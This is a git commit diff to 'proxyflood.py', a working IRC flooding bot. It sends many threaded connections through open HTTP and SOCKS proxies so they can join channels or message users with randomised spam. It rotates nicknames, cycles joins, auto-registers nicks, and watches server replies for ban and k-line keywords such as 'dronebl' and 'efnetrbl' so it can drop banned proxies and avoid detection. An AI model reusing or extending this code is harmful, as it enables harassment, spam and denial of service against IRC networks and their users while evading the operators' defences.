changs
This commit is contained in:
138
proxyflood.py
138
proxyflood.py
@@ -21,6 +21,9 @@ cached_dns = dict()
|
||||
|
||||
is_target_protected = None
|
||||
default_threads = None
|
||||
badlist = []
|
||||
waitonsuccess = None
|
||||
has_joined = []
|
||||
|
||||
with open('usernames.txt') as h:
|
||||
nicklist = [ nick.strip() for nick in h.readlines() ]
|
||||
@@ -33,7 +36,7 @@ def socks4_resolve(srvname, server_port):
|
||||
srv = srvname
|
||||
if srv in cached_dns:
|
||||
srv = cached_dns[srvname]
|
||||
if config.watchd.debug:
|
||||
if config.flood.debug:
|
||||
_log("using cached ip (%s) for %s"%(srv, srvname), "debug")
|
||||
else:
|
||||
dns_fail = False
|
||||
@@ -54,33 +57,60 @@ def socks4_resolve(srvname, server_port):
|
||||
|
||||
def has_been_lined(recv):
|
||||
recv = recv.lower()
|
||||
badkw = [ 'banned', 'not welcome', 'dronebl', 'sectoor', 'kline', 'proxy', 'drone' ]
|
||||
badkw = [ 'banned', 'not welcome', 'dronebl', 'sectoor', 'kline', 'bot/proxy', 'proxy/drone', 'efnetrbl' ]
|
||||
for bkw in badkw:
|
||||
if bkw in recv: return True
|
||||
return False
|
||||
|
||||
def randcrap(msg):
|
||||
if not '%RANDCRAP%' in msg: return msg
|
||||
while '%RANDCRAP%' in msg:
|
||||
crap = ''
|
||||
chars = string.ascii_letters + string.punctuation
|
||||
for i in range( random.randint(1,5)):
|
||||
if len(crap): crap = '%s ' %crap
|
||||
crap = '%s%s' %(crap, ''.join(random.choice(string.ascii_letters) for x in range(random.randint(1,10))))
|
||||
msg = msg.replace('%RANDCRAP%', crap,1)
|
||||
return msg.lower()
|
||||
|
||||
def ischan(c):
|
||||
if '%' in c or '#' in c: return True
|
||||
return False
|
||||
|
||||
def flood(sock):
|
||||
nick = random.choice(nicklist) + str(random.randint(1000,9999))
|
||||
if config.flood.message is not None: msgs = config.flood.message.split(';')
|
||||
nick = random.choice(nicklist)
|
||||
global has_joined
|
||||
if config.flood.message is not None:
|
||||
msgs = config.flood.message.split(';')
|
||||
msgs = [ randcrap(msg) for msg in msgs ]
|
||||
|
||||
chans = ','.join( [ i for i in config.flood.target.split(',') if ischan(i) ] )
|
||||
nicks = ','.join( [ i for i in config.flood.target.split(',') if not ischan(i) ] )
|
||||
|
||||
sock.send('NICK %s\nUSER %s %s localhost :%s\n' %(nick, nick, nick, nick))
|
||||
ticks = time.time()
|
||||
sent_ping = False
|
||||
ret = True
|
||||
#ret = True
|
||||
ret = False
|
||||
global is_target_protected
|
||||
global default_threads
|
||||
global waitonsuccess
|
||||
|
||||
while True:
|
||||
if config.flood.duration > 0:
|
||||
if (time.time() - ticks) > config.flood.duration: break
|
||||
elif waitonsuccess: break
|
||||
|
||||
recv = sock.recvline()
|
||||
if not len(recv): break
|
||||
elif not ' 372 ' in recv: print(recv.strip())
|
||||
if not len(recv):
|
||||
break
|
||||
elif not ' 372 ' in recv:
|
||||
print(recv.strip())
|
||||
if has_been_lined(recv):
|
||||
ret = False
|
||||
break
|
||||
|
||||
#if 'Proxy/Drone' in recv or 'contact kline@' in recv:
|
||||
# ret = False
|
||||
# break
|
||||
if recv.startswith('ERROR'):
|
||||
if has_been_lined(recv): ret = False
|
||||
break
|
||||
elif recv.startswith('PING'):
|
||||
if config.flood.use_timeout:
|
||||
@@ -91,53 +121,68 @@ def flood(sock):
|
||||
_split = recv.split(' ')
|
||||
# irc welcome message
|
||||
if _split[1] == '001':
|
||||
# target is a chan
|
||||
if '#' in config.flood.target or '%' in config.flood.target or '%' in config.flood.target:
|
||||
sock.send('JOIN %s\r\n' % config.flood.target)
|
||||
|
||||
# target is a nick
|
||||
elif config.flood.message is not None:
|
||||
if config.flood.change_nick:
|
||||
for i in range(3): sock.send('PRIVMSG %s :%s\r\nNICK %s\r\n' %(config.flood.target, random.choice(msgs), random.choice(nicklist)))
|
||||
else:
|
||||
sock.send('PRIVMSG %s :%s\r\n' % (config.flood.target, random.choice(msgs)))
|
||||
|
||||
if config.flood.once:
|
||||
sock.send('QUIT\r\n')
|
||||
send = []
|
||||
if config.flood.change_nick and config.flood.message is not None and len(nicks):
|
||||
for i in range(config.flood.change_nick): send.append('PRIVMSG %s :%s\r\nNICK %s\r\n' %(nicks, random.choice(msgs), random.choice(nicklist)))
|
||||
if len(chans):
|
||||
send.append('JOIN %s\r\nPRIVMSG %s :%s\r\n' % (chans, config.flood.target, random.choice(msgs)))
|
||||
if len(send):
|
||||
print( '001: sending %s' % '\r\n'.join(send))
|
||||
sock.send('\r\n'.join(send))
|
||||
|
||||
# end of names list (joined a chan)
|
||||
elif _split[1] == '366':
|
||||
ret = True
|
||||
if config.flood.message is not None:
|
||||
if config.flood.change_nick:
|
||||
for i in range(3): sock.send('PRIVMSG %s :%s\r\nNICK %s\r\n' %(config.flood.target, random.choice(msgs), random.choice(nicklist)))
|
||||
else:
|
||||
sock.send('PRIVMSG %s :%s\r\n' % (config.flood.target, random.choice(msgs)))
|
||||
if config.flood.cycle:
|
||||
sock.send('PART %s\r\nJOIN %s\r\n' % (_split[3], _split[3]))
|
||||
#time.sleep(1)
|
||||
send = []
|
||||
c = _split[3]
|
||||
|
||||
elif config.flood.once:
|
||||
sock.send('QUIT\r\n')
|
||||
if not c in has_joined:
|
||||
has_joined.append( c )
|
||||
|
||||
#elif config.flood.message is not None:
|
||||
# send.append('PRIVMSG %s :%s' %(config.flood.target, random.choice(msgs)))
|
||||
|
||||
if config.flood.cycle:
|
||||
if config.flood.message is not None:
|
||||
send.append('PART %s\r\nJOIN %s\r\nPRIVMSG %s :%s' %(c,c,c,random.choice(msgs)))
|
||||
else:
|
||||
send.append('PART %s\r\nJOIN %s' %(c,c))
|
||||
|
||||
if config.flood.once:
|
||||
send.append('QUIT')
|
||||
|
||||
if len(send):
|
||||
sock.send('\r\n'.join(send) + '\r\n')
|
||||
print('366 sent: %s' %'\r\n'.join(send))
|
||||
|
||||
if config.flood.waitonsuccess:
|
||||
print('bots should now wait')
|
||||
waitonsuccess = time.time()
|
||||
|
||||
# nick reseverd or already used
|
||||
elif _split[1] == '432' or _split[1] == '433':
|
||||
sock.send('NICK %s\r\n' % random.choice(nicklist))
|
||||
sock.send('NICK %s%d\r\n' % (nick,random.randint(1000,9999)))
|
||||
|
||||
# code 500
|
||||
elif _split[1] == '500':
|
||||
if 'too many join request' in recv.lower(): break
|
||||
# chan +i
|
||||
elif _split[1] == '473':
|
||||
global is_target_protected
|
||||
if is_target_protected is not None: break
|
||||
|
||||
global default_threads
|
||||
is_target_protected = time.time()
|
||||
default_threads = config.flood.threads
|
||||
config.flood.threads = 1
|
||||
print('target is protected, aborting')
|
||||
print('target is protected (+i), aborting')
|
||||
break
|
||||
# user or chan sets mode +R
|
||||
elif _split[1] == '477' or _split[1] == '531':
|
||||
if not config.flood.register: break
|
||||
if not config.flood.register:
|
||||
is_target_protected = time.time()
|
||||
default_threads = config.flood.threads
|
||||
config.flood.threads = 1
|
||||
print('target is protected (+R), aborting')
|
||||
break
|
||||
|
||||
sock.send('PRIVMSG %s :nick register hunter2 %s@gmail.com\r\n' %(config.flood.nickserv,nick))
|
||||
time.sleep(1)
|
||||
@@ -164,6 +209,12 @@ class WorkerJob():
|
||||
self.isoldies = oldies
|
||||
|
||||
def connect_socket(self):
|
||||
global badlist
|
||||
#global waitonsuccess
|
||||
#if self.proxy in badlist: return False
|
||||
if config.flood.waitonsuccess and waitonsuccess is not None:
|
||||
if (time.time() - waitonsuccess) < config.flood.delay: return True
|
||||
|
||||
srvname = config.flood.server
|
||||
protos = ['http', 'socks5', 'socks4'] if self.proto is None else [self.proto]
|
||||
use_ssl = random.choice([0,1]) if config.flood.use_ssl == 2 else config.flood.use_ssl
|
||||
@@ -192,10 +243,11 @@ class WorkerJob():
|
||||
sock.connect()
|
||||
status = flood(sock)
|
||||
print('status: %s' %str(status))
|
||||
if not status and not self.proxy in badlist: badlist.append(self.proxy)
|
||||
return status
|
||||
|
||||
except rocksock.RocksockException as e:
|
||||
if config.watchd.debug:
|
||||
if config.flood.debug:
|
||||
_log("proxy failed: %s://%s: %s"%(proto, self.proxy, e.get_errormessage()), 'debug')
|
||||
|
||||
et = e.get_errortype()
|
||||
@@ -235,7 +287,6 @@ class WorkerJob():
|
||||
time.sleep(10)
|
||||
return
|
||||
is_target_protected = None
|
||||
#global config.flood.threads
|
||||
global default_threads
|
||||
config.flood.threads = default_threads
|
||||
|
||||
@@ -407,11 +458,6 @@ class Proxywatchd():
|
||||
ret = False
|
||||
|
||||
_log("success rate: %.2f%%"%success_rate, 'flood')
|
||||
#self._prep_db()
|
||||
#query = 'UPDATE proxylist SET failed=?,tested=?,dronebl=?,country=?,proto=?,success_count=?,total_duration=? WHERE proxy=?'
|
||||
#self.mysqlite.executemany(query, args)
|
||||
#self.mysqlite.commit()
|
||||
#self._close_db()
|
||||
self.collected = []
|
||||
self.totals['submitted'] += len(args)
|
||||
self.totals['success'] += sc
|
||||
|
||||
Reference in New Issue
Block a user